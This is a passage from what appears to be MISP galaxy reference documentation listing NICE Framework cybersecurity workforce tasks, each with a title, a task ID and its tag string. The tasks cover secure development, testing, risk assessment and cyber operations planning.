The tag is: *misp-galaxy:nice-framework-tasks="Design system security measures - T1519"*

Update system security measures - T1520

Update system security measures

The tag is: *misp-galaxy:nice-framework-tasks="Update system security measures - T1520"*

Develop enterprise architecture - T1521

Develop enterprise architecture

The tag is: *misp-galaxy:nice-framework-tasks="Develop enterprise architecture - T1521"*

Define baseline system security requirements - T1527

Define baseline system security requirements

The tag is: *misp-galaxy:nice-framework-tasks="Define baseline system security requirements - T1527"*

Create definition activity documentation - T1544

Create definition activity documentation

The tag is: *misp-galaxy:nice-framework-tasks="Create definition activity documentation - T1544"*

Create architecture activity documentation - T1545

Create architecture activity documentation

The tag is: *misp-galaxy:nice-framework-tasks="Create architecture activity documentation - T1545"*

Identify system and network protection needs - T1556

Identify system and network protection needs

The tag is: *misp-galaxy:nice-framework-tasks="Identify system and network protection needs - T1556"*

Implement system security measures - T1563

Implement system security measures

The tag is: *misp-galaxy:nice-framework-tasks="Implement system security measures - T1563"*

Determine effectiveness of system implementation and testing processes - T1583

Determine effectiveness of system implementation and testing processes

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of system implementation and testing processes - T1583"*

Conduct cybersecurity management assessments - T1627

Conduct cybersecurity management assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct cybersecurity management assessments - T1627"*

Design cybersecurity management functions - T1628

Design cybersecurity management functions

The tag is: *misp-galaxy:nice-framework-tasks="Design cybersecurity management functions - T1628"*

Develop secure code and error handling - T0077

Develop secure code and error handling

The tag is: *misp-galaxy:nice-framework-tasks="Develop secure code and error handling - T0077"*

Consult with customers about software system design and maintenance - T0311

Consult with customers about software system design and maintenance

The tag is: *misp-galaxy:nice-framework-tasks="Consult with customers about software system design and maintenance - T0311"*

Recommend development of new applications or modification of existing applications - T1067

Recommend development of new applications or modification of existing applications

The tag is: *misp-galaxy:nice-framework-tasks="Recommend development of new applications or modification of existing applications - T1067"*

Create development plans for new applications or modification of existing applications - T1068

Create development plans for new applications or modification of existing applications

The tag is: *misp-galaxy:nice-framework-tasks="Create development plans for new applications or modification of existing applications - T1068"*

Evaluate software design plan timelines and cost estimates - T1071

Evaluate software design plan timelines and cost estimates

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate software design plan timelines and cost estimates - T1071"*

Perform code reviews - T1073

Perform code reviews

The tag is: *misp-galaxy:nice-framework-tasks="Perform code reviews - T1073"*

Prepare secure code documentation - T1074

Prepare secure code documentation

The tag is: *misp-galaxy:nice-framework-tasks="Prepare secure code documentation - T1074"*

Integrate software cybersecurity objectives into project plans and schedules - T1082

Integrate software cybersecurity objectives into project plans and schedules

The tag is: *misp-galaxy:nice-framework-tasks="Integrate software cybersecurity objectives into project plans and schedules - T1082"*

Determine project security controls - T1083

Determine project security controls

The tag is: *misp-galaxy:nice-framework-tasks="Determine project security controls - T1083"*

Create program documentation during initial development and subsequent revision phases - T1089

Create program documentation during initial development and subsequent revision phases

The tag is: *misp-galaxy:nice-framework-tasks="Create program documentation during initial development and subsequent revision phases - T1089"*

Determine system performance requirements - T1098

Determine system performance requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine system performance requirements - T1098"*

Design application interfaces - T1099

Design application interfaces

The tag is: *misp-galaxy:nice-framework-tasks="Design application interfaces - T1099"*

Evaluate interfaces between hardware and software - T1108

Evaluate interfaces between hardware and software

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate interfaces between hardware and software - T1108"*

Correct program errors - T1116

Correct program errors

The tag is: *misp-galaxy:nice-framework-tasks="Correct program errors - T1116"*

Determine if desired program results are produced - T1117

Determine if desired program results are produced

The tag is: *misp-galaxy:nice-framework-tasks="Determine if desired program results are produced - T1117"*

Design and develop software systems - T1135

Design and develop software systems

The tag is: *misp-galaxy:nice-framework-tasks="Design and develop software systems - T1135"*

Determine hardware configuration - T1190

Determine hardware configuration

The tag is: *misp-galaxy:nice-framework-tasks="Determine hardware configuration - T1190"*

Identify common coding flaws - T1197

Identify common coding flaws

The tag is: *misp-galaxy:nice-framework-tasks="Identify common coding flaws - T1197"*

Determine software development security implications within centralized and decentralized environments across the enterprise - T1202

Determine software development security implications within centralized and decentralized environments across the enterprise

The tag is: *misp-galaxy:nice-framework-tasks="Determine software development security implications within centralized and decentralized environments across the enterprise - T1202"*

Implement software development cybersecurity methodologies within centralized and decentralized environments across the enterprise - T1203

Implement software development cybersecurity methodologies within centralized and decentralized environments across the enterprise

The tag is: *misp-galaxy:nice-framework-tasks="Implement software development cybersecurity methodologies within centralized and decentralized environments across the enterprise - T1203"*

Determine cybersecurity measures for steady state operation and management of software - T1204

Determine cybersecurity measures for steady state operation and management of software

The tag is: *misp-galaxy:nice-framework-tasks="Determine cybersecurity measures for steady state operation and management of software - T1204"*

Incorporate product end-of-life cybersecurity measures - T1205

Incorporate product end-of-life cybersecurity measures

The tag is: *misp-galaxy:nice-framework-tasks="Incorporate product end-of-life cybersecurity measures - T1205"*

Perform integrated quality assurance testing - T1258

Perform integrated quality assurance testing

The tag is: *misp-galaxy:nice-framework-tasks="Perform integrated quality assurance testing - T1258"*

Mitigate programming vulnerabilities - T1261

Mitigate programming vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Mitigate programming vulnerabilities - T1261"*

Identify programming code flaws - T1262

Identify programming code flaws

The tag is: *misp-galaxy:nice-framework-tasks="Identify programming code flaws - T1262"*

Conduct risk analysis of applications and systems undergoing major changes - T1269

Conduct risk analysis of applications and systems undergoing major changes

The tag is: *misp-galaxy:nice-framework-tasks="Conduct risk analysis of applications and systems undergoing major changes - T1269"*

Develop workflow charts and diagrams - T1280

Develop workflow charts and diagrams

The tag is: *misp-galaxy:nice-framework-tasks="Develop workflow charts and diagrams - T1280"*

Convert workflow charts and diagrams into coded computer language instructions - T1281

Convert workflow charts and diagrams into coded computer language instructions

The tag is: *misp-galaxy:nice-framework-tasks="Convert workflow charts and diagrams into coded*

computer language instructions - T1281"

Address security implications in the software acceptance phase - T1302

Address security implications in the software acceptance phase

The tag is: *misp-galaxy:nice-framework-tasks="Address security implications in the software acceptance phase - T1302"*

Analyze system capabilities and requirements - T1309

Analyze system capabilities and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Analyze system capabilities and requirements - T1309"*

Integrate security requirements into application design elements - T1318

Integrate security requirements into application design elements

The tag is: *misp-galaxy:nice-framework-tasks="Integrate security requirements into application design elements - T1318"*

Document software attack surface elements - T1319

Document software attack surface elements

The tag is: *misp-galaxy:nice-framework-tasks="Document software attack surface elements - T1319"*

Conduct threat modeling - T1320

Conduct threat modeling

The tag is: *misp-galaxy:nice-framework-tasks="Conduct threat modeling - T1320"*

Design programming language exploitation countermeasures and mitigations - T1360

Design programming language exploitation countermeasures and mitigations

The tag is: *misp-galaxy:nice-framework-tasks="Design programming language exploitation countermeasures and mitigations - T1360"*

Design and develop secure applications - T1400

Design and develop secure applications

The tag is: *misp-galaxy:nice-framework-tasks="Design and develop secure applications - T1400"*

Develop software documentation - T1422

Develop software documentation

The tag is: *misp-galaxy:nice-framework-tasks="Develop software documentation - T1422"*

Integrate public key cryptography into applications - T1499

Integrate public key cryptography into applications

The tag is: *misp-galaxy:nice-framework-tasks="Integrate public key cryptography into applications - T1499"*

Analyze feasibility of software design within time and cost constraints - T1509

Analyze feasibility of software design within time and cost constraints

The tag is: *misp-galaxy:nice-framework-tasks="Analyze feasibility of software design within time and cost constraints - T1509"*

Conduct trial runs of programs and software applications - T1513

Conduct trial runs of programs and software applications

The tag is: *misp-galaxy:nice-framework-tasks="Conduct trial runs of programs and software applications - T1513"*

Develop software system testing and validation procedures - T1528

Develop software system testing and validation procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop software system testing and validation procedures - T1528"*

Create software system documentation - T1529

Create software system documentation

The tag is: *misp-galaxy:nice-framework-tasks="Create software system documentation - T1529"*

Adapt software to new hardware - T1575

Adapt software to new hardware

The tag is: *misp-galaxy:nice-framework-tasks="Adapt software to new hardware - T1575"*

Upgrade software interfaces - T1576

Upgrade software interfaces

The tag is: *misp-galaxy:nice-framework-tasks="Upgrade software interfaces - T1576"*

Improve software performance - T1577

Improve software performance

The tag is: *misp-galaxy:nice-framework-tasks="Improve software performance - T1577"*

Conduct vulnerability analysis of software patches and updates - T1624

Conduct vulnerability analysis of software patches and updates

The tag is: *misp-galaxy:nice-framework-tasks="Conduct vulnerability analysis of software patches and updates - T1624"*

Prepare vulnerability analysis reports - T1625

Prepare vulnerability analysis reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare vulnerability analysis reports - T1625"*

Implement security designs for new or existing systems - T0122

Implement security designs for new or existing systems

The tag is: *misp-galaxy:nice-framework-tasks="Implement security designs for new or existing systems - T0122"*

Incorporate cybersecurity vulnerability solutions into system designs (e.g., Cybersecurity Vulnerability Alerts) - T0124

Incorporate cybersecurity vulnerability solutions into system designs (e.g., Cybersecurity Vulnerability Alerts)

The tag is: *misp-galaxy:nice-framework-tasks="Incorporate cybersecurity vulnerability solutions into system designs (e.g., Cybersecurity Vulnerability Alerts) - T0124"*

Develop cybersecurity designs to meet specific operational needs and environmental factors (e.g., access controls, automated applications, networked o - T0271

Develop cybersecurity designs to meet specific operational needs and environmental factors (e.g., access controls, automated applications, networked operations, high integrity and availability requirements, multilevel security/processing of multiple classification levels, and processing Sensitive Compartmented Information)

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity designs to meet specific operational needs and environmental factors (e.g., access controls, automated applications, networked o - T0271"*

Review enterprise information technology (IT) goals and objectives - T1022

Review enterprise information technology (IT) goals and objectives

The tag is: *misp-galaxy:nice-framework-tasks="Review enterprise information technology (IT) goals and objectives - T1022"*

Determine procurement requirements - T1026

Determine procurement requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine procurement requirements - T1026"*

Estimate the impact of collateral damage - T1030

Estimate the impact of collateral damage

The tag is: *misp-galaxy:nice-framework-tasks="Estimate the impact of collateral damage - T1030"*

Determine impact of software configurations - T1041

Determine impact of software configurations

The tag is: *misp-galaxy:nice-framework-tasks="Determine impact of software configurations - T1041"*

Assess operation performance - T1046

Assess operation performance

The tag is: *misp-galaxy:nice-framework-tasks="Assess operation performance - T1046"*

Assess operation impact - T1047

Assess operation impact

The tag is: *misp-galaxy:nice-framework-tasks="Assess operation impact - T1047"*

Determine life cycle support requirements - T1072

Determine life cycle support requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine life cycle support requirements - T1072"*

Implement application cybersecurity policies - T1075

Implement application cybersecurity policies

The tag is: *misp-galaxy:nice-framework-tasks="Implement application cybersecurity policies - T1075"*

Determine effectiveness of system cybersecurity measures - T1078

Determine effectiveness of system cybersecurity measures

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of system cybersecurity measures - T1078"*

Develop cybersecurity risk profiles - T1079

Develop cybersecurity risk profiles

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity risk profiles - T1079"*

Create product prototypes using working and theoretical models - T1081

Create product prototypes using working and theoretical models

The tag is: *misp-galaxy:nice-framework-tasks="Create product prototypes using working and theoretical models - T1081"*

Identify anomalous network activity - T1084

Identify anomalous network activity

The tag is: *misp-galaxy:nice-framework-tasks="Identify anomalous network activity - T1084"*

Identify vulnerabilities - T1118

Identify vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Identify vulnerabilities - T1118"*

Recommend vulnerability remediation strategies - T1119

Recommend vulnerability remediation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Recommend vulnerability remediation strategies - T1119"*

Design cybersecurity or cybersecurity-enabled products - T1128

Design cybersecurity or cybersecurity-enabled products

The tag is: *misp-galaxy:nice-framework-tasks="Design cybersecurity or cybersecurity-enabled products - T1128"*

Develop cybersecurity or cybersecurity-enabled products - T1129

Develop cybersecurity or cybersecurity-enabled products

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity or cybersecurity-enabled products - T1129"*

Determine if hardware, operating systems, and software applications adequately address cybersecurity requirements - T1131

Determine if hardware, operating systems, and software applications adequately address cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if hardware, operating systems, and software applications adequately address cybersecurity requirements - T1131"*

Design system data backup capabilities - T1132

Design system data backup capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Design system data backup capabilities - T1132"*

Develop technical and procedural processes for integrity of stored backup data - T1133

Develop technical and procedural processes for integrity of stored backup data

The tag is: *misp-galaxy:nice-framework-tasks="Develop technical and procedural processes for integrity of stored backup data - T1133"*

Develop technical and procedural processes for backup data storage - T1134

Develop technical and procedural processes for backup data storage

The tag is: *misp-galaxy:nice-framework-tasks="Develop technical and procedural processes for backup data storage - T1134"*

Create system testing and validation procedures and documentation - T1138

Create system testing and validation procedures and documentation

The tag is: *misp-galaxy:nice-framework-tasks="Create system testing and validation procedures and documentation - T1138"*

Develop systems security design documentation - T1148

Develop systems security design documentation

The tag is: *misp-galaxy:nice-framework-tasks="Develop systems security design documentation - T1148"*

Develop disaster recovery and continuity of operations plans for systems under development - T1149

Develop disaster recovery and continuity of operations plans for systems under development

The tag is: *misp-galaxy:nice-framework-tasks="Develop disaster recovery and continuity of operations plans for systems under development - T1149"*

Test disaster recovery and continuity of operations plans for systems prior to deployment - T1150

Test disaster recovery and continuity of operations plans for systems prior to deployment

The tag is: *misp-galaxy:nice-framework-tasks="Test disaster recovery and continuity of operations plans for systems prior to deployment - T1150"*

Develop risk mitigation strategies - T1160

Develop risk mitigation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop risk mitigation strategies - T1160"*

Resolve system vulnerabilities - T1161

Resolve system vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Resolve system vulnerabilities - T1161"*

Recommend security changes to systems and system components - T1162

Recommend security changes to systems and system components

The tag is: *misp-galaxy:nice-framework-tasks="Recommend security changes to systems and system components - T1162"*

Develop cybersecurity countermeasures for systems and applications - T1163

Develop cybersecurity countermeasures for systems and applications

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity countermeasures for systems and applications - T1163"*

Develop risk mitigation strategies for systems and applications - T1164

Develop risk mitigation strategies for systems and applications

The tag is: *misp-galaxy:nice-framework-tasks="Develop risk mitigation strategies for systems and applications - T1164"*

Allocate security functions to components and elements - T1193

Allocate security functions to components and elements

The tag is: *misp-galaxy:nice-framework-tasks="Allocate security functions to components and elements - T1193"*

Remediate technical problems encountered during system testing and implementation - T1194

Remediate technical problems encountered during system testing and implementation

The tag is: *misp-galaxy:nice-framework-tasks="Remediate technical problems encountered during system testing and implementation - T1194"*

Direct the remediation of technical problems encountered during system testing and implementation - T1195

Direct the remediation of technical problems encountered during system testing and implementation

The tag is: *misp-galaxy:nice-framework-tasks="Direct the remediation of technical problems encountered during system testing and implementation - T1195"*

Recommend cybersecurity or cybersecurity-enabled products for use within a system - T1206

Recommend cybersecurity or cybersecurity-enabled products for use within a system

The tag is: *misp-galaxy:nice-framework-tasks="Recommend cybersecurity or cybersecurity-enabled products for use within a system - T1206"*

Develop guidelines for implementing developed systems for customers and installation teams - T1292

Develop guidelines for implementing developed systems for customers and installation teams

The tag is: *misp-galaxy:nice-framework-tasks="Develop guidelines for implementing developed systems for customers and installation teams - T1292"*

Conduct test and evaluation activities - T1312

Conduct test and evaluation activities

The tag is: *misp-galaxy:nice-framework-tasks="Conduct test and evaluation activities - T1312"*

Develop system performance predictions for various operating conditions - T1326

Develop system performance predictions for various operating conditions

The tag is: *misp-galaxy:nice-framework-tasks="Develop system performance predictions for various operating conditions - T1326"*

Document cybersecurity design and development activities - T1365

Document cybersecurity design and development activities

The tag is: *misp-galaxy:nice-framework-tasks="Document cybersecurity design and development activities - T1365"*

Integrate system development life cycle methodologies into development environment - T1401

Integrate system development life cycle methodologies into development environment

The tag is: *misp-galaxy:nice-framework-tasks="Integrate system development life cycle methodologies into development environment - T1401"*

Design secure interfaces between information systems, physical systems, and embedded technologies - T1454

Design secure interfaces between information systems, physical systems, and embedded technologies

The tag is: *misp-galaxy:nice-framework-tasks="Design secure interfaces between information systems, physical systems, and embedded technologies - T1454"*

Implement secure interfaces between information systems, physical systems, and embedded technologies - T1455

Implement secure interfaces between information systems, physical systems, and embedded technologies

The tag is: *misp-galaxy:nice-framework-tasks="Implement secure interfaces between information systems, physical systems, and embedded technologies - T1455"*

Correlate incident data - T1489

Correlate incident data

The tag is: *misp-galaxy:nice-framework-tasks="Correlate incident data - T1489"*

Determine if systems meet minimum security requirements - T1522

Determine if systems meet minimum security requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if systems meet minimum security requirements - T1522"*

Establish minimum security requirements for applications - T1584

Establish minimum security requirements for applications

The tag is: *misp-galaxy:nice-framework-tasks="Establish minimum security requirements for applications - T1584"*

Determine if applications meet minimum security requirements - T1585

Determine if applications meet minimum security requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if applications meet minimum security requirements - T1585"*

Conduct cybersecurity risk assessments - T1586

Conduct cybersecurity risk assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct cybersecurity risk assessments - T1586"*

Conduct cybersecurity reviews - T1592

Conduct cybersecurity reviews

The tag is: *misp-galaxy:nice-framework-tasks="Conduct cybersecurity reviews - T1592"*

Identify cybersecurity gaps in enterprise architecture - T1593

Identify cybersecurity gaps in enterprise architecture

The tag is: *misp-galaxy:nice-framework-tasks="Identify cybersecurity gaps in enterprise architecture - T1593"*

Provide cybersecurity advice on implementation plans, standard operating procedures, maintenance documentation, and maintenance training materials - T1604

Provide cybersecurity advice on implementation plans, standard operating procedures, maintenance documentation, and maintenance training materials

The tag is: *misp-galaxy:nice-framework-tasks="Provide cybersecurity advice on implementation plans, standard operating procedures, maintenance documentation, and maintenance training materials - T1604"*

Determine if design components meet system requirements - T1613

Determine if design components meet system requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if design components meet system requirements - T1613"*

Determine scalability of system architecture - T1614

Determine scalability of system architecture

The tag is: *misp-galaxy:nice-framework-tasks="Determine scalability of system architecture - T1614"*

Incorporate intelligence equities into the overall design of cyber operations plans - T0630

Incorporate intelligence equities into the overall design of cyber operations plans

The tag is: *misp-galaxy:nice-framework-tasks="Incorporate intelligence equities into the overall design of cyber operations plans - T0630"*

Incorporate cyber operations and communications security support plans into organization objectives - T0704

Incorporate cyber operations and communications security support plans into organization objectives

The tag is: *misp-galaxy:nice-framework-tasks="Incorporate cyber operations and communications security support plans into organization objectives - T0704"*

Identify intelligence gaps and shortfalls - T0718

Identify intelligence gaps and shortfalls

The tag is: *misp-galaxy:nice-framework-tasks="Identify intelligence gaps and shortfalls - T0718"*

Issue requests for information - T0734

Issue requests for information

The tag is: *misp-galaxy:nice-framework-tasks="Issue requests for information - T0734"*

Maintain situational awareness of cyber-related intelligence requirements and associated tasking - T0741

Maintain situational awareness of cyber-related intelligence requirements and associated tasking

The tag is: *misp-galaxy:nice-framework-tasks="Maintain situational awareness of cyber-related intelligence requirements and associated tasking - T0741"*

Maintain situational awareness of partner capabilities and activities - T0742

Maintain situational awareness of partner capabilities and activities

The tag is: *misp-galaxy:nice-framework-tasks="Maintain situational awareness of partner capabilities and activities - T0742"*

Support cyber operations - T1033

Support cyber operations

The tag is: *misp-galaxy:nice-framework-tasks="Support cyber operations - T1033"*

Integrate leadership priorities - T1036

Integrate leadership priorities

The tag is: *misp-galaxy:nice-framework-tasks="Integrate leadership priorities - T1036"*

Develop operations strategies - T1037

Develop operations strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop operations strategies - T1037"*

Integrate organization objectives in intelligence collection - T1038

Integrate organization objectives in intelligence collection

The tag is: *misp-galaxy:nice-framework-tasks="Integrate organization objectives in intelligence collection - T1038"*

Determine staffing needs - T1043

Determine staffing needs

The tag is: *misp-galaxy:nice-framework-tasks="Determine staffing needs - T1043"*

Review course of action analysis results - T1044

Review course of action analysis results

The tag is: *misp-galaxy:nice-framework-tasks="Review course of action analysis results - T1044"*

Review exercise analysis results - T1045

Review exercise analysis results

The tag is: *misp-galaxy:nice-framework-tasks="Review exercise analysis results - T1045"*

Synchronize operational assessment procedures and critical information requirement processes - T1048

Synchronize operational assessment procedures and critical information requirement processes

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize operational assessment procedures and critical information requirement processes - T1048"*

Scope analysis reports to various audiences that accounts for data sharing classification restrictions - T1054

Scope analysis reports to various audiences that accounts for data sharing classification restrictions

The tag is: *misp-galaxy:nice-framework-tasks="Scope analysis reports to various audiences that accounts for data sharing classification restrictions - T1054"*

Determine if priority information requirements are satisfied - T1055

Determine if priority information requirements are satisfied

The tag is: *misp-galaxy:nice-framework-tasks="Determine if priority information requirements are satisfied - T1055"*

Determine the impact of threats on cybersecurity - T1456

Determine the impact of threats on cybersecurity

The tag is: *misp-galaxy:nice-framework-tasks="Determine the impact of threats on cybersecurity - T1456"*

Implement threat countermeasures - T1457

Implement threat countermeasures

The tag is: *misp-galaxy:nice-framework-tasks="Implement threat countermeasures - T1457"*

Assess target vulnerabilities and operational capabilities - T1639

Assess target vulnerabilities and operational capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Assess target vulnerabilities and operational capabilities - T1639"*

Develop cyber operations indicators - T1644

Develop cyber operations indicators

The tag is: *misp-galaxy:nice-framework-tasks="Develop cyber operations indicators - T1644"*

Develop cybersecurity success metrics - T1650

Develop cybersecurity success metrics

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity success metrics - T1650"*

Develop cyber operations crisis action plans - T1678

Develop cyber operations crisis action plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop cyber operations crisis action plans - T1678"*

Develop organizational decision support tools - T1679

Develop organizational decision support tools

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational decision support tools - T1679"*

Identify strategies to counter potential target actions - T1688

Identify strategies to counter potential target actions

The tag is: *misp-galaxy:nice-framework-tasks="Identify strategies to counter potential target actions - T1688"*

Develop crisis plans - T1699

Develop crisis plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop crisis plans - T1699"*

Maintain crisis plans - T1700

Maintain crisis plans

The tag is: *misp-galaxy:nice-framework-tasks="Maintain crisis plans - T1700"*

Integrate cyber operations guidance into broader planning activities - T1701

Integrate cyber operations guidance into broader planning activities

The tag is: *misp-galaxy:nice-framework-tasks="Integrate cyber operations guidance into broader planning activities - T1701"*

Develop intelligence operations plans - T1704

Develop intelligence operations plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop intelligence operations plans - T1704"*

Develop policies for providing and obtaining cyber operations support from external partners - T1710

Develop policies for providing and obtaining cyber operations support from external partners

The tag is: *misp-galaxy:nice-framework-tasks="Develop policies for providing and obtaining cyber operations support from external partners - T1710"*

Recommend potential courses of action - T1712

Recommend potential courses of action

The tag is: *misp-galaxy:nice-framework-tasks="Recommend potential courses of action - T1712"*

Recommend changes to planning policies and procedures - T1717

Recommend changes to planning policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Recommend changes to planning policies and procedures - T1717"*

Implement changes to planning policies and procedures - T1718

Implement changes to planning policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement changes to planning policies and procedures - T1718"*

Prepare cyber operation strategy and planning documents - T1722

Prepare cyber operation strategy and planning documents

The tag is: *misp-galaxy:nice-framework-tasks="Prepare cyber operation strategy and planning documents - T1722"*

Implement collection operation plans - T1728

Implement collection operation plans

The tag is: *misp-galaxy:nice-framework-tasks="Implement collection operation plans - T1728"*

Synchronize intelligence planning activities with operational planning timelines - T1729

Synchronize intelligence planning activities with operational planning timelines

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize intelligence planning activities with operational planning timelines - T1729"*

Facilitate interactions between internal and external partner decision makers to synchronize and integrate courses of action - T1735

Facilitate interactions between internal and external partner decision makers to synchronize and integrate courses of action

The tag is: *misp-galaxy:nice-framework-tasks="Facilitate interactions between internal and external partner decision makers to synchronize and integrate courses of action - T1735"*

Develop courses of action based on threat factors - T1752

Develop courses of action based on threat factors

The tag is: *misp-galaxy:nice-framework-tasks="Develop courses of action based on threat factors - T1752"*

Integrate cyber planning and targeting efforts - T1755

Integrate cyber planning and targeting efforts

The tag is: *misp-galaxy:nice-framework-tasks="Integrate cyber planning and targeting efforts - T1755"*

Interpret environment preparation assessments - T1756

Interpret environment preparation assessments

The tag is: *misp-galaxy:nice-framework-tasks="Interpret environment preparation assessments - T1756"*

Determine if changes to the operating environment require review of the plan - T1761

Determine if changes to the operating environment require review of the plan

The tag is: *misp-galaxy:nice-framework-tasks="Determine if changes to the operating environment require review of the plan - T1761"*

Asssess effectiveness of integrated cyber operations - T1764

Asssess effectiveness of integrated cyber operations

The tag is: *misp-galaxy:nice-framework-tasks="Asssess effectiveness of integrated cyber operations - T1764"*

Coordinate strategic planning efforts with internal and external partners - T1779

Coordinate strategic planning efforts with internal and external partners

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate strategic planning efforts with internal and external partners - T1779"*

Develop cyber operations strategies - T1794

Develop cyber operations strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop cyber operations strategies - T1794"*

Advise stakeholders on administrative and logistical elements of operational support plans - T1797

Advise stakeholders on administrative and logistical elements of operational support plans

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on administrative and logistical elements of operational support plans - T1797"*

Recommend changes to operational plans - T1800

Recommend changes to operational plans

The tag is: *misp-galaxy:nice-framework-tasks="Recommend changes to operational plans - T1800"*

Approve operational requirements for research, development, and acquisition of cyber capabilities - T1810

Approve operational requirements for research, development, and acquisition of cyber capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Approve operational requirements for research, development, and acquisition of cyber capabilities - T1810"*

Prioritize operational requirements for research, development, and acquisition of cyber capabilities - T1811

Prioritize operational requirements for research, development, and acquisition of cyber capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Prioritize operational requirements for research, development, and acquisition of cyber capabilities - T1811"*

Submit operational requirements for research, development, and acquisition of cyber capabilities - T1812

Submit operational requirements for research, development, and acquisition of cyber capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Submit operational requirements for research, development, and acquisition of cyber capabilities - T1812"*

Submit requests for deconfliction of cyber operations - T1822

Submit requests for deconfliction of cyber operations

The tag is: *misp-galaxy:nice-framework-tasks="Submit requests for deconfliction of cyber operations - T1822"*

Respond to requests for deconfliction of cyber operations - T1823

Respond to requests for deconfliction of cyber operations

The tag is: *misp-galaxy:nice-framework-tasks="Respond to requests for deconfliction of cyber operations - T1823"*

Determine if intelligence requirements and collection plans are accurate and up-to-date - T1835

Determine if intelligence requirements and collection plans are accurate and up-to-date

The tag is: *misp-galaxy:nice-framework-tasks="Determine if intelligence requirements and collection plans are accurate and up-to-date - T1835"*

Document lessons learned during events and exercises - T1836

Document lessons learned during events and exercises

The tag is: *misp-galaxy:nice-framework-tasks="Document lessons learned during events and exercises - T1836"*

Develop test plans to address specifications and requirements - T0080

Develop test plans to address specifications and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop test plans to address specifications and requirements - T0080"*

Create auditable evidence of security measures - T0274

Create auditable evidence of security measures

The tag is: *misp-galaxy:nice-framework-tasks="Create auditable evidence of security measures - T0274"*

Perform interoperability testing on systems exchanging electronic information with other systems - T0512

Perform interoperability testing on systems exchanging electronic information with other systems

The tag is: *misp-galaxy:nice-framework-tasks="Perform interoperability testing on systems exchanging electronic information with other systems - T0512"*

Perform operational testing - T0513

Perform operational testing

The tag is: *misp-galaxy:nice-framework-tasks="Perform operational testing - T0513"*

Determine appropriate level of test rigor for a given system - T1049

Determine appropriate level of test rigor for a given system

The tag is: *misp-galaxy:nice-framework-tasks="Determine appropriate level of test rigor for a given system - T1049"*

Determine level of assurance of developed capabilities - T1136

Determine level of assurance of developed capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Determine level of assurance of developed capabilities - T1136"*

Implement new system design procedures - T1208

Implement new system design procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement new system design procedures - T1208"*

Implement new system test procedures - T1209

Implement new system test procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement new system test procedures - T1209"*

Implement new system quality standards - T1210

Implement new system quality standards

The tag is: *misp-galaxy:nice-framework-tasks="Implement new system quality standards - T1210"*

Install network infrastructure device operating system software - T1214

Install network infrastructure device operating system software

The tag is: *misp-galaxy:nice-framework-tasks="Install network infrastructure device operating system software - T1214"*

Maintain network infrastructure device operating system software - T1215

Maintain network infrastructure device operating system software

The tag is: *misp-galaxy:nice-framework-tasks="Maintain network infrastructure device operating system software - T1215"*

Perform cybersecurity testing of developed applications and systems - T1255

Perform cybersecurity testing of developed applications and systems

The tag is: *misp-galaxy:nice-framework-tasks="Perform cybersecurity testing of developed applications and systems - T1255"*

Determine if system requirements are adequately demonstrated in data samples - T1346

Determine if system requirements are adequately demonstrated in data samples

The tag is: *misp-galaxy:nice-framework-tasks="Determine if system requirements are adequately demonstrated in data samples - T1346"*

Establish testing specifications and requirements - T1484

Establish testing specifications and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Establish testing specifications and requirements - T1484"*

Analyze software and hardware testing results - T1506

Analyze software and hardware testing results

The tag is: *misp-galaxy:nice-framework-tasks="Analyze software and hardware testing results -*

T1506"

Perform cybersecurity testing on systems in development - T1587

Perform cybersecurity testing on systems in development

The tag is: *misp-galaxy:nice-framework-tasks="Perform cybersecurity testing on systems in development - T1587"*

Determine if hardware and software complies with defined specifications and requirements - T1610

Determine if hardware and software complies with defined specifications and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if hardware and software complies with defined specifications and requirements - T1610"*

Record test data - T1611

Record test data

The tag is: *misp-galaxy:nice-framework-tasks="Record test data - T1611"*

Manage test data - T1612

Manage test data

The tag is: *misp-galaxy:nice-framework-tasks="Manage test data - T1612"*

Evaluate locally developed tools - T1829

